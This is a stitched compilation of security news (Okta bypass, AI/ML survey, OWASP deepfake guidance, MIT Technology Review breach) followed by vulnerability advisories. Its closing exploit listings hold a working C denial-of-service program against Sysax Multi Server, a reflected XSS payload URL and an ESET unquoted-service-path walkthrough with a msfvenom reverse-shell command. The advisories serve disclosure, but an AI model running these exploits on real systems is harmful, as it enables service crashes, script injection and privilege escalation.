The bug affected accounts with 52-character user names, and had several pre-conditions that needed to be met in order to be exploited.

Source: Ahmed Zaggoudi via Alamy Stock Photo

Okta has addressed an authentication bypass bug that affects those with long usernames or employers with wordy domain names.

The security hole could have allowed cybercriminals to pass Okta AD/LDAP delegated authentication (DelAuth) using just a username. However, it could only be exploited if a series of conditions were met, one of those conditions being a username that had 52 characters or more.

Though unusual, some individuals opt to use their email addresses as their usernames, making the possibility of a 52-character username not entirely out of the question.

Other conditions that needed to be met were if the user previously authenticated, creating a cache of the authentication; and if the cache was used first, which could occur "if the AD/LDAP agent was down or cannot be reached, for example, due to high network traffic," according to the authentication company in its advisory of the flaw.

The vulnerability was discovered by Okta on Oct. 30, after lurking in the system for three months. While it has since been fixed, the company recommended that customers check their logs for any odd authentication attempts dating back to July 23.

Okta also recommended that customers implement multifactor authentication (MFA) at a minimum, as this was not applied as part of the exploitation preconditions.

It is unclear whether there were any in-the-wild exploitation attempts. Okta did not respond immediately to a request for comment from Dark Reading.

**About the Author**

Okta Fixes Auth Bypass Bug After 3-Month Lull

Companies are attaching the term "AI" to everything these days, but in cybersecurity, machine learning is more than hype.

Artificial intelligence and machine learning tools are gaining traction in enterprises, and the rate of adoption is particularly notable in cybersecurity operations, where these technologies are being used to improve enterprise security posture, according to Dark Reading’s latest research on enterprise cybersecurity.

Dark Reading's Artificial Intelligence and Machine Learning in Cybersecurity survey found that enterprises are using AI and ML in a range of cybersecurity technologies, such as firewalls, endpoint detection and response platforms, security information and event management systems, and network traffic analyzers. Antivirus/anti-malware was the only security technology enhanced with AI and ML that was used by more than half of the respondents (51%). This is not surprising, as back in 2017, practitioners were already beginning to implement AI/ML in corporate antivirus measures.

Cybersecurity professionals have to match the bad actors who are sourcing AI/ML technologies for their purposes. The arms race between CISOs and their adversaries may be driving adoption of tools with AI and ML capabilities in areas such as phishing detection (49%), threat detection and response (45%), and endpoint security (40%). One third of the AI/ML integration in real-world security teams comes in the form of malware analysis (38%), intrusion detection and prevention (35%), threat intelligence (35%), identity and access management (34%), network security/network traffic analysis (33%), vulnerability management (32%), and security information and event management (31%).

About a quarter of respondents mentioned using AI/ML in user behavior analytics/predictive analytics (27%), fraud detection (27%), automated security operations (26%), and automated incident response (25%). While that is still a sizeable chunk of companies, the slightly lower adoption rate suggests that this grouping represents developing features.

For more on the impact of AI/ML on cybersecurity, download the Dark Reading report "The State of Artificial Intelligence and Machine Learning in Cybersecurity."

**About the Author**

Antivirus, Anti-Malware Lead Demand for AI/ML Tools

As businesses worry over deepfake scams and other AI attacks, organizations are adding guidance for cybersecurity teams on how to detect, and respond to, next-generation threats. That includes Exabeam, which was recently targeted by a deepfaked job candidate.

Source: Family Stock via Shutterstock

Deepfakes and other generative artificial intelligence (GenAI) attacks are becoming less rare, and signs are pointing to a coming onslaught of such attacks: Already, AI-generated text is becoming more common in emails, and security firms are finding ways to detect emails likely not created by humans. Human-written emails have declined to about 88% of all emails, while text attributed to large language models (LLMs) now accounts for about 12% of all email, up from around 7% in late 2022, according to one analysis.

To help organizations develop stronger defenses against AI-based attacks, the Top 10 for LLM Applications & Generative AI group within the Open Worldwide Application Security Project (OWASP) released a trio of guidance documents for security organizations on Oct. 31. To its previously released AI cybersecurity and governance checklist, the group added a guide for preparing for deepfake events, a framework to create AI security centers of excellence, and a curated database on AI security solutions.

While the previous Top 10 guide is useful for companies building models and creating their own AI services and product, the new guidance is aimed at the users of AI technology, says Scott Clinton, co-project lead at OWASP.

Those companies "want to be able to do AI safely with as much guidance as possible — they're going to do it anyway, because it's a competitive differentiator for the business," he says. "If their competitors are doing it, \[then\] they need to find a way to do it, do it better ... so security can't be a blocker, it can't be a barrier to that."

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

**One Security Vendor's Job Candidate Deepfake Attack**

In an example of the kinds of real-world attacks that are now happening, one job candidate at security vendor Exabeam had passed all the initial vetting and moved onto the final interview round. That's when Jodi Maas, GRC team lead at the company, recognized that something was wrong.

While the human resources group had flagged the initial interview for a new senior security analyst as "somewhat scripted," the actual interview started with normal greetings. Yet, it quickly became apparent that some form of digital trickery was in use. Background artifacts appeared, the female interviewee's mouth did not match the audio, and she hardly moved or expressed emotion, says Maas, who runs application security and governance, risk, and compliance within Exabeam's security operations center (SOC).

"It was very odd — just no smile, there was no personality at all, and we knew right away that it was not a fit, but we continued the interview, because \[the experience\] was very interesting," she says.

Related:Iranian APT Group Targets IP Cameras, Extends Attacks Beyond Israel

After the interview, Maas approached Exabeam's chief information security officer (CISO), Kevin Kirkwood, and they concluded it had been a deepfake based on similar video examples. The experience shook them enough that they decided the company needed better procedures in place to catch GenAI-based attacks, embarking on meetings with security staff and an internal presentation to employees.

"The fact that it got past our HR group was interesting. ... They passed them through because they had answered all the questions correctly," Kirkwood says.

After the deepfake interview, Exabeam's Kirkwood and Maas started revamping their processes, following up with their HR group, for example to let them know to expect more such attacks in the future. For now, the company advises its employees to treat video calls with suspicion. (Half-jokingly, Kirkwood requested this correspondent to turn on my video midway through the interview as proof of humanness. I did.)

"You're going to see this more often now, and you know these are the things you can check for, and these are the things that you will see in a deepfake," Kirkwood says.

Related:Okta Fixes Auth Bypass Bug After 3-Month Lull

**Technical Anti-Deepfake Solutions Are Needed**

Deepfake incidents are capturing the imagination — and fear — of IT professionals, with about half (48%) very concerned over deepfakes at present, and 74% believing deepfakes will pose a significant future threat, according to a survey conducted by email security firm Ironscales.

The trajectory of deepfakes is quite easy to predict — even if they are not good enough to fool most people today, they will be in the future, says Eyal Benishti, founder and CEO of Ironscales. That means that human training will likely only go so far. AI videos are getting eerily realistic, and a fully digital twin of another person controlled in real time by an attacker — a true "sock puppet" — is likely not far behind.

"Companies want to try and figure out how they get ready for deepfakes," he says. "The are realizing that this type of communication cannot be fully trusted moving forward, which ... will take people some time to realize and adjust."

In the future, since the telltale artifacts will be gone, better defenses are necessary, Exabeam's Kirkwood says.

"Worst case scenario: The technology gets so good that you're playing a tennis match — you know, the detection gets better, the deepfake gets better, the detection gets better, and so on," he says. "I'm waiting for the technology pieces to catch up, so I can actually plug it into my SIEM and flag the elements associated with deepfake."

OWASP's Clinton agrees. Rather focus on training humans to detect suspect video chats, companies should create infrastructures for authenticating that a chat is with a human who is also an employee, building processes around financial transactions, and creating an incident-response plan, he says.

"Training people on how to identify deepfakes — that's not really practical, because it's all subjective," Clinton says. "I think there have to be more unsubjective approaches, and so we went through and came up with some tangible steps that you can use, which are combinations of technologies and process to really focus on a few areas."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

OWASP Beefs Up GenAI Security Guidance Amid Growing Deepfakes

Hackers claim to have breached MIT Technology Review Magazine via a third-party contractor, leaking nearly 300,000 user records…

Hackers claim to have breached MIT Technology Review Magazine via a third-party contractor, leaking nearly 300,000 user records on Breach Forums. Data includes full names, email addresses, and activity details, posing risks for phishing and targeted scams.

In a new data breach disclosed today, the hacker known as Intel Broker claims to have stolen the personal data of 290,762 individuals from MIT’s _Technology Review_ website via a third-party contractor. The data, which could be the website’s newsletter subscribers list, was posted on Breach Forums, a popular cybercrime platform, earlier today.

Intel Broker, notorious for **recent attacks on high-profile organizations**, alleges that the data includes Personally Identifiable Information. Hackread.com analyzed the leaked data and can confirm it includes personal details, which, while not as sensitive as financial data, could be leveraged in phishing attempts or targeted scams. Here is what the hacker has leaked:

*   **Full names**
*   **Dates of activity**
*   **Educational details**
*   **Email addresses (3,924 – After removal of duplicates: 1,343)**

Screenshot from the leaked data (Credit: Hackread.com)

Though the leak does not appear to contain highly sensitive information like passwords, social security numbers or financial data, the compromised data is still a privacy risk, as it could be exploited for phishing scams or identity verification attacks.

It is worth noting that this is not the first time Intel Broker has targeted a technology publication. In June 2024, an affiliate of Intel Broker **breached the “Tech in Asia” news outlet**, leaking the personal data of 221,470 users.

MIT Technology Review, an esteemed publication from the Massachusetts Institute of Technology, is known for its analysis of emerging technologies and their impact on society. This data breach potentially exposes readers and contributors who engaged with the platform, a situation that may lead to reputational challenges for the publication, as well as privacy concerns for its user base.

**Recent Activity of Intel Broker**

The alleged breach of Technology Review comes on the heels of another claim by Intel Broker, who recently advertised the sale of **sensitive internal data from Nokia** on the same forum, allegedly obtained through a similar contractor vulnerability. In the Nokia case, the hacker reportedly set a price of $20,000 for access to the stolen data, which included SSH keys, source code, and login credentials.

**Privacy Implications and MIT’s Response**

With names, email addresses, and activity data accessible, cybercriminals may use this information to craft sophisticated schemes aimed at those connected with the platform. Hackread.com has reached out to MIT’s Technology Review for a response regarding the data breach. Updates will be provided as more information becomes available. Stay tuned.

1.  **US Microchip Giant Cyberattack Disrupts Operations**
2.  **Hacker IntelBroker Leaks Sensitive US DoD Documents**
3.  **IntelBroker Apple Breach: Steals Source Code for Internal Tools**
4.  **AMD Data Breach: IntelBroker Steals Employee and Product Info**
5.  **Europol Hacked: IntelBroker Claims Major Law Enforcement Breach**

Hackers Leak 300,000 MIT Technology Review Magazine User Records

An issue in the `createTempFile` method of hornetq v2.4.9 allows attackers to arbitrarily overwrite files or access sensitive information.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-r7mv-mv7m-pjw3: hornetq vulnerable to file overwrite, sensitive information disclosure

Sysax Multi Server version 6.9.9 suffers from an SSH related denial of service vulnerability.

    # Exploit Title: Sysax Multi Server 6.99 - SSH Denial of Service# Date: 2024-11-03# Exploit Author: Yehia Elghaly (Mrvar0x)# Vendor Homepage: https://www.sysax.com/# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi# Version: Sysax Multi Server 6.99# Tested on: Windows 10 x64#Steps --> Compile (gcc -o ssh ssh.c)#Steps --> Run (sudo ./ssh <Target IP> <Port>)#Steps --> Crash (SSH Crashed)#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <arpa/inet.h>#include <sys/socket.h>#include <netinet/tcp.h>void error_handling(const char *message) {    perror(message);    exit(1);}int main(int argc, char *argv[]) {    if (argc != 3) {        printf("Usage: %s <IP> <Port>\n", argv[0]);        exit(1);    }    const char *host = argv[1];    int port = atoi(argv[2]);        unsigned char packet[] = {0x01, 0x02, 0x03, 0x04, 0xAA, 0xBB, 0xCC, 0xDD,      0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0,      0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0x00, 0xFF,      0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80,      0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,      0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,      0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08,      0xF1, 0xE2, 0xD3, 0xC4, 0xB5, 0xA6, 0x97, 0x88,      0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF,      0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,    0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,    0xFF, 0xEE, 0xDD, 0xCC, 0xBB, 0xAA, 0x99, 0x88,    0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x00,  };  int sock = socket(AF_INET, SOCK_STREAM, 0);    if (sock == -1) {        error_handling("Socket creation failed");    }    int flag = 1;    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));    struct linger sl = {1, 0}; // Close immediately    setsockopt(sock, SOL_SOCKET, SO_LINGER, &sl, sizeof(sl));    struct sockaddr_in serv_addr;    memset(&serv_addr, 0, sizeof(serv_addr));    serv_addr.sin_family = AF_INET;    serv_addr.sin_addr.s_addr = inet_addr(host);    serv_addr.sin_port = htons(port);    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {        error_handling("Connect failed");    }    const char *ssh_banner = "SSH-2.0-OpenSSH_7.1p1 Debian-5ubuntu1\r\n";    if (send(sock, ssh_banner, strlen(ssh_banner), 0) == -1) {        error_handling("Failed to send SSH banner");    }    usleep(100000);     for (int i = 0; i < 5; ++i) {        if (send(sock, packet, sizeof(packet), 0) == -1) {            error_handling("Failed to send payload");        }        usleep(50000); // Short delay between sends    }    printf("Payload sent successfully.\n");    char buffer[1024];    ssize_t bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0);    if (bytes_received > 0) {        buffer[bytes_received] = '\0';        printf("Received response: %s\n", buffer);    } else {        printf("No response received or connection closed.\n");    }    close(sock);    return 0;}

Sysax Multi Server 6.99 SSH Denial Of Service

Sysax Multi Server version 6.9.9 suffers from a cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Sysax Multi Server 6.99 - Reflected XSS# Date: 2024-11-03# Exploit Author: Yehia Elghaly (Mrvar0x)# Vendor Homepage: https://www.sysax.com/# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi# Version: MultiServer 6.99# Tested on: Windows 10 x64Reflected XSS - Affected Parameter  (/scgi?sid).PoC:192.168.1.160/scgi?sid=44abd541f5a769556f36080e7c8a7b1f68e04510<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

Sysax Multi Server 6.99 Cross Site Scripting

IBM Security Verify Access versions prior to 10.0.8 suffer from authentication bypass, reuse of private keys, local privilege escalation, weak settings, outdated libraries, missing password, hardcoded secrets, remote code execution, missing authentication, null pointer dereference, and lack of privilege separation vulnerabilities.

IBM Security Verify Access 32 Vulnerabilities

IBM Security Verify Access Appliance suffers from multiple insecure transit vulnerabilities, hardcoded passwords, and uninitialized variables. ibmsecurity versions prior to 2024.4.5 are affected.

IBM Security Verify Access Appliance Insecure Transit / Hardcoded Passwords

ESET NOD32 Antivirus version 18.0.12.0 suffers from an unquoted service path vulnerability.

    # Exploit Title: ESET NOD32 Antivirus 18.0.12.0 - "ESET Service" UnquotedService Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-11-02# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# MiRROR-H: https://mirror-h.org/search/hacker/49626/# Vendor : https://www.eset.com# Version : 18.0.12.0# Tested on OS: Microsoft Windows 10 pro x64About Unquoted Service Path :==============================When a service is created whose executable path contains spaces and isn'tenclosed within quotes, leads to a vulnerability known as Unquoted ServicePath which allows a user to gain SYSTEM privileges.(only if the vulnerable service is running with SYSTEM privilege levelwhich most of the time it is).Description:==============================ESET NOD32 Antivirus installs a service with an unquoted service path.To properly exploit this vulnerability, the local attacker must insert anexecutable file in the path of the service.Upon service restart or system reboot, the malicious code will be run withelevated privileges.# PoC===========1.  Open CMD and check for the vulnerability by typing [ wmic service getname,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v"c:\windows\\" | findstr /i /v """ ]2.  The vulnerable service would show up.3.  Check the service permissions by typing [ sc qc "ekrn" ]4.  The command would return..C:\Users\Ci3c0>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem5.  This concludes that the service is running as SYSTEM.6.  Now create a payload with msfvenom or other tools and name it toekrn.exe.7.  Make sure you have write permissions to "C:\Program Files\ESET\ESETSecurity" directory.8.  Provided that you have right permissions, drop the HDDHealthService.exeexecutable you created into the "C:\Program Files\ESET\ESET Security"directory.9.  Start a listener.9.  Now restart the ekrn service by giving coommand [ sc stop ekrn ]followed by [ sc start ekrn ]9.1 If you cannot stop and start the service, since the service is of type"AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ]and get the shell when the service starts automatically.10. Got shell.During my testing :Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o ekrn.exe# Disclaimer=============The information contained within this advisory is supplied "as-is" with nowarranties or guarantees of fitness of use or otherwise.The author is not responsible for any misuse of the information containedherein and accepts no responsibility for any damage caused by the use ormisuse of this information.The author prohibits any malicious use of security related information orexploits by the author or elsewhere.

Tag

#vulnerability